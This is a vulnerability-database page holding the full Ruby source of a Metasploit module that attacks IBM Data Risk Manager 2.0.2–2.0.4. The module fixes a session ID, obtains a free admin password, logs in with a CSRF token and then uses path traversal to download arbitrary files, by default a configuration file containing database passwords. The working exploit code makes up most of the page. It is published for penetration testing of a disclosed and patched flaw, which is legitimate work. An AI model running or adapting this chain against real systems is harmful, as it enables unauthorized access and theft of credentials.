Lucene search
K

IBM Data Risk Manager Arbitrary File Download

🗓️ 31 Aug 2024 00:00:00Reported by Pedro Ribeiro, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 309 Views

IBM Data Risk Manager Arbitrary File Downloa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
IBM Data Risk Manager 2.0.3 Default Password Exploit
7 May 202000:00
zdt
0day.today
IBM Data Risk Manager 2.0.3 Remote Code Execution Exploit
7 May 202000:00
zdt
IBM Security Bulletins
Security Bulletin: Vulnerabilities exist in IBM Data Risk Manager (CVE-2020-4427, CVE-2020-4428, CVE-2020-4429, and CVE-2020-4430)
28 May 202005:43
ibm
ATTACKERKB
CVE-2020-4430
21 Apr 202000:00
attackerkb
ATTACKERKB
CVE-2020-4428
21 Apr 202000:00
attackerkb
ATTACKERKB
CVE-2020-4427
21 Apr 202000:00
attackerkb
ATTACKERKB
CVE-2020-4429
21 Apr 202000:00
attackerkb
Circl
CVE-2020-4427
5 May 202017:17
circl
Circl
CVE-2020-4428
5 May 202017:17
circl
Circl
CVE-2020-4429
5 May 202017:17
circl
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'IBM Data Risk Manager Arbitrary File Download',  
'Description' => %q{  
IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by  
an unauthenticated attacker to download arbitrary files off the system.  
The first is an unauthenticated bypass, followed by a path traversal.  
This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.  
A downloaded file is zipped, and this module also unzips it before storing it in the database.  
By default this module downloads Tomcat's application.properties files, which contains the  
database password, amongst other sensitive data.  
At the time of disclosure, this is was a 0 day, but IBM later patched it and released their advisory.  
Versions 2.0.2 to 2.0.4 are vulnerable, version 2.0.1 is not.  
},  
'Author' => [  
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module  
],  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SSL' => true  
},  
'References' => [  
[ 'CVE', '2020-4427' ], # auth bypass  
[ 'CVE', '2020-4429' ], # insecure default password  
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ],  
[ 'URL', 'https://seclists.org/fulldisclosure/2020/Apr/33' ],  
[ 'URL', 'https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/']  
],  
'DisclosureDate' => '2020-04-21',  
'Actions' => [  
['Download', { 'Description' => 'Download arbitrary file' }]  
],  
'DefaultAction' => 'Download',  
'Notes' => {  
'Reliability' => [ ],  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8443),  
OptString.new('TARGETURI', [ true, 'Default server path', '/']),  
OptString.new('FILEPATH', [  
false, 'Path of the file to download',  
'/home/a3user/Tomcat/webapps/albatross/WEB-INF/classes/application.properties'  
])  
]  
)  
end  
  
def check  
# at the moment there is no better way to detect AND be stealthy about it  
session_id = Rex::Text.rand_text_alpha(5..12)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),  
'method' => 'GET',  
'vars_get' => {  
'id' => session_id,  
'userName' => 'admin'  
}  
})  
if res && (res.code == 302)  
return Exploit::CheckCode::Detected  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def create_session_id  
# step 1: create a session ID and try to make it stick  
session_id = Rex::Text.rand_text_alpha(5..12)  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'albatross', 'saml', 'idpSelection'),  
'method' => 'GET',  
'vars_get' => {  
'id' => session_id,  
'userName' => 'admin'  
}  
})  
if res && (res.code != 302)  
fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID")  
end  
  
print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}")  
  
session_id  
end  
  
def free_the_admin(session_id)  
# step 2: give the session ID to the server and have it grant us a free admin password  
post_data = Rex::MIME::Message.new  
post_data.add_part('', nil, nil, 'form-data; name="deviceid"')  
post_data.add_part(Rex::Text.rand_text_alpha(8..15), nil, nil, 'form-data; name="password"')  
post_data.add_part('admin', nil, nil, 'form-data; name="username"')  
post_data.add_part('', nil, nil, 'form-data; name="clientDetails"')  
post_data.add_part(session_id, nil, nil, 'form-data; name="sessionId"')  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'albatross', 'user', 'login'),  
'method' => 'POST',  
'data' => post_data.to_s,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"  
})  
  
unless res && (res.code == 200) && res.body[/"data":"([0-9a-f-]{36})/]  
fail_with(Failure::NoAccess, "#{peer} - Failed to obtain the admin password.")  
end  
  
password = Regexp.last_match(1)  
print_good("#{peer} - We have obtained a new admin password #{password}")  
  
password  
end  
  
def login_and_csrf(password)  
# step 3: login and get an authenticated cookie  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'),  
'method' => 'POST',  
'vars_post' => {  
'userName' => 'admin',  
'password' => password  
}  
})  
unless res && (res.code == 302) && res.get_cookies  
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as an admin.")  
end  
  
print_good("#{peer} - ... and are authenticated as an admin!")  
cookie = res.get_cookies  
url = res.redirection.to_s  
  
# step 4: obtain CSRF header in order to be able to make valid requests  
res = send_request_cgi({  
'uri' => url,  
'method' => 'GET',  
'cookie' => cookie  
})  
  
unless res && (res.code == 200) && res.body =~ /var csrfToken = "([0-9a-f-]{36})";/  
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate obtain CSRF cookie.")  
end  
csrf = Regexp.last_match(1)  
  
return cookie, csrf  
end  
  
def run  
# step 1: create a session ID and try to make it stick  
session_id = create_session_id  
  
# step 2: give the session ID to the server and have it grant us a free admin password  
password = free_the_admin(session_id)  
  
# step 3: login and get an authenticated cookie  
# step 4: obtain CSRF header in order to be able to make valid requests  
cookie, csrf = login_and_csrf(password)  
  
# step 5: download the file!  
post_data = {  
'instanceId' => 'local_host',  
'logLevel' => 'DEBUG',  
'logFileNameList' => "../../../../..#{datastore['FILEPATH']}"  
}.to_json  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'albatross', 'eurekaservice', 'fetchLogFiles'),  
'method' => 'POST',  
'cookie' => cookie,  
'headers' => { 'CSRF-TOKEN' => csrf },  
'data' => post_data.to_s,  
'ctype' => 'text/json'  
})  
  
unless res && (res.code == 200) && !res.body.empty?  
fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")  
end  
  
Zip::File.open_buffer(res.body) do |zipfile|  
# Not sure what happens if we receive garbage that's not a ZIP file, but that shouldn't  
# happen? Either we get nothing or a proper zip file.  
file = zipfile.find_entry(File.basename(datastore['FILEPATH']))  
unless file  
fail_with(Failure::Unknown, "#{peer} - Incorrect file downloaded!")  
end  
  
filedata = zipfile.read(file)  
vprint_line(filedata.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'IBM_DRM.http',  
'application/octet-stream',  
rhost,  
filedata,  
fname  
)  
print_good("File saved in: #{path}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation